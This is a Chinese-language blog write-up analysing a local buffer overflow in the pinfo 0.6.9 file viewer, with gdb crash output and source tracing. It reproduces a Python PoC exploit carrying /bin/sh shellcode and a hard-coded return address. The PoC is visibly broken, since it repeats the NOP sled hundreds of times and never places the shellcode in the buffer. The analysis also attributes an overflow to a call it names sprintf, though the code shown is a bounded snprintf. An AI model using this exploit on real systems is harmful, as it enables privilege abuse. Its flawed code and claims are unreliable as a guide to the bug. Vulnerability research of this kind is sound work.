作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/c3298d36537601753558b3e9240b00b7-pinfo-0.6.9.tar.gz
PoC:
import os, subprocess
def run():
try:
print "# PInfo File Viewer - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack"
# NOPSLED + SHELLCODE + EIP
buffersize = 564
nopsled = "\x90"*200
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x40\xf3\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["pinfo -m",' ', buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, PInfo File Viewer - Not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit PInfo 0.6.9-5.1 Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()
测试环境:
Kali Linux 2.0 x86
漏洞复现
pinfo是一个Linux下用于处理文件的工具,它在处理文件时,如果构造一个畸形的文件名,则会调用这个文件名传入执行handlemanual函数,而没有对这个文件名进行检查,从而造成了缓冲区溢出,下面对此漏洞进行详细分析。
首先执行漏洞程序,传入畸形文件名,附加gdb,到达漏洞现场。
$ run -m `python -c 'print "A"*564+"DCBA"'`
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000002 EBX: 0xB7F0B000 ECX: 0x00004554 EDX: 0x00000100
o d I t s z a P c
ESI: 0x41424344 EDI: 0x00004554 EBP: 0xBFFFF4A4 ESP: 0xBFFFEF30
EIP: 0xB7D92832
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7d92832 <__GI_getenv+114>: cmp di,WORD PTR [esi]
0xb7d92835 <__GI_getenv+117>: jne 0xb7d92828 __GI_getenv+104>
0xb7d92837 <__GI_getenv+119>: mov eax,DWORD PTR [esp+0x14]
0xb7d9283b <__GI_getenv+123>: mov DWORD PTR [esp+0x8],eax
0xb7d9283f <__GI_getenv+127>: mov eax,DWORD PTR [esp+0x18]
0xb7d92843 <__GI_getenv+131>: mov DWORD PTR [esp+0x4],eax
0xb7d92847 <__GI_getenv+135>: lea eax,[esi+0x2]
0xb7d9284a <__GI_getenv+138>: mov DWORD PTR [esp],eax
--------------------------------------------------------------------------------
可以看到,此时esi引用了一处无效地址,接下来可以看一下栈里的情况。
gdb$ x/100x $esp
0xbffff250: 0xbffff49c 0x00000003 0x00000001 0x00000002
0xbffff260: 0xb7d6ebf8 0xb7fe78bd 0xb7d74ffd 0x41049384
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
可以看到此时栈中覆盖了畸形文件名,那么也就是说,esi可以看做一个指针,畸形文件名将esi指针的地址覆盖,造成了缓冲区溢出。
漏洞分析
在源码层进行分析,首先来看pinfo.c文件,这个是pinfo的主文件。
do
{
char *tmp;
command_line_option = getopt_long(argc, argv,
"hvmfrapcsdtnlx", long_options, NULL);
可以看到,主文件中会有一个do while的结构,这个结构负责处理传入参数,command_line_option用于处理传入参数。
switch(command_line_option)
{
case 'x':
ClearScreenAtExit = 1;
break;
case 'l':
LongManualLinks = 1;
break;
case 'n':
if (!optarg)
{
printf(_("--node option used without argument\n"));
exit(1);
}
pinfo_start_node = malloc(strlen(optarg) + 1);
strcpy(pinfo_start_node, optarg);
break;
/* rcfile */
case 1:
if (!optarg)
{
printf(_("--rcfile option used without argument\n"));
exit(1);
}
rcfile = strdup(optarg);
/* parse user-defined config file */
parse_config();
break;
case 't':
ForceManualTagTable = 1;
break;
case 'h':
printf(_("Usage:\n" \
"%s [options] [info|manual]\n" \
"Options:\n" \
"-h, --help help\n" \
"-v, --version version\n" \
"-m, --manual use man page\n" \
"-r, --raw-filename use raw filename\n" \
"-f, --file synonym for -r\n" \
"-a, --apropos call apropos if nothing found\n" \
"-p, --plain-apropos call only apropos\n" \
"-c, --cut-man-headers cut out repeated man headers\n" \
"-l, --long-manual-links use long link names in manuals\n" \
"-s, --squeeze-manlines cut empty lines from manual pages\n" \
"-d, --dont-handle-without-tag-table don't display texinfo pages without tag\n" \
" tables\n" \
"-t, --force-manual-tag-table force manual detection of tag table\n" \
"-x, --clear-at-exit clear screen at exit\n" \
" --node=nodename, --node nodename jump directly to the node nodename\n" \
" --rcfile=file, --rcfile file use alternate rcfile\n"),
argv[0]);
exit(0);
case 'v':
exit(0);
case 'm':
checksu();
if (verbose)
printf(_("Looking for man page...\n"));
strcpy(filename, "");
for (i = optind; i < argc; i++)
{
strcat(filename, argv[i]);
strcat(filename, " ");
}
exit(handlemanual(filename));
case 'f':
case 'r':
strncpy(filename, argv[argc - 1], 200);
/* security check */
checkfilename(filename);
/* add the raw path to searchpath */
addrawpath(filename);
tmp = filename + strlen(filename) - 1;
/* later, openinfo automaticaly adds them */
strip_compression_suffix(filename);
/* get basename */
while ((tmp > filename) &&(*tmp != '/'))
tmp--;
if (*tmp == '/')
tmp++;
/* and try it without '.info' suffix */
id = openinfo(tmp, 0);
break;
case 'a':
use_apropos = 1;
break;
case 'p':
use_apropos = 1;
plain_apropos = 1;
strncpy(filename, argv[argc - 1], 200);
exit(handlemanual(filename));
break;
case 'c':
CutManHeaders = 1;
break;
case 'd':
DontHandleWithoutTagTable = 1;
break;
case 's':
CutEmptyManLines = 1;
break;
}
}
while (command_line_option != EOF);
接下来会进入一处switch语句,会根据接收到的参数进入相应的处理,这里关注case m的情况,是触发漏洞的关键位置。
case 'm':
checksu();
if (verbose)
printf(_("Looking for man page...\n"));
strcpy(filename, "");
for (i = optind; i < argc; i++)
{
strcat(filename, argv[i]);
strcat(filename, " ");
}
exit(handlemanual(filename));
case m中,会处理文件名称filename,之后,会根据m后跟的参数情况对filename进行构造。
这里会传入畸形字符串,而可以看到这个过程没有对长度进行检查,接下来会退出处理,exit函数中,会调用给另外一个函数handlemanual。
这个函数位于manual.c中,找到函数开头位置。
/* this is something like main() function for the manual viewer code. */
int
handlemanual(char *name)
{
int return_value = 0;
struct stat statbuf;
FILE *id;
可以看到第一个参数name,实际上就是传入的畸形字符串filename,接下来继续进行处理。
if (ignoredmacros)
/* if there are some macros */
if (*ignoredmacros && strlen(ignoredmacros))
{ /* that should be ignored */
*location = '\0';
/* we need to know the path */
snprintf(cmd, 255, "man -W %s %s",
ManOptions,
name);
id = popen(cmd, "r");
if (!id)
{
printf(_("Error: Cannot call man command.\n"));
return 1;
}
可以看到,这里会对指针是否为空做一次判断,如果不为空,则会进入文件处理,这里会构造一个cmd命令行,但是对name却没有进行检查而是直接执行sprintf构造,从而导致当传入超长文件名的时候,会由于覆盖cmd缓冲区造成溢出。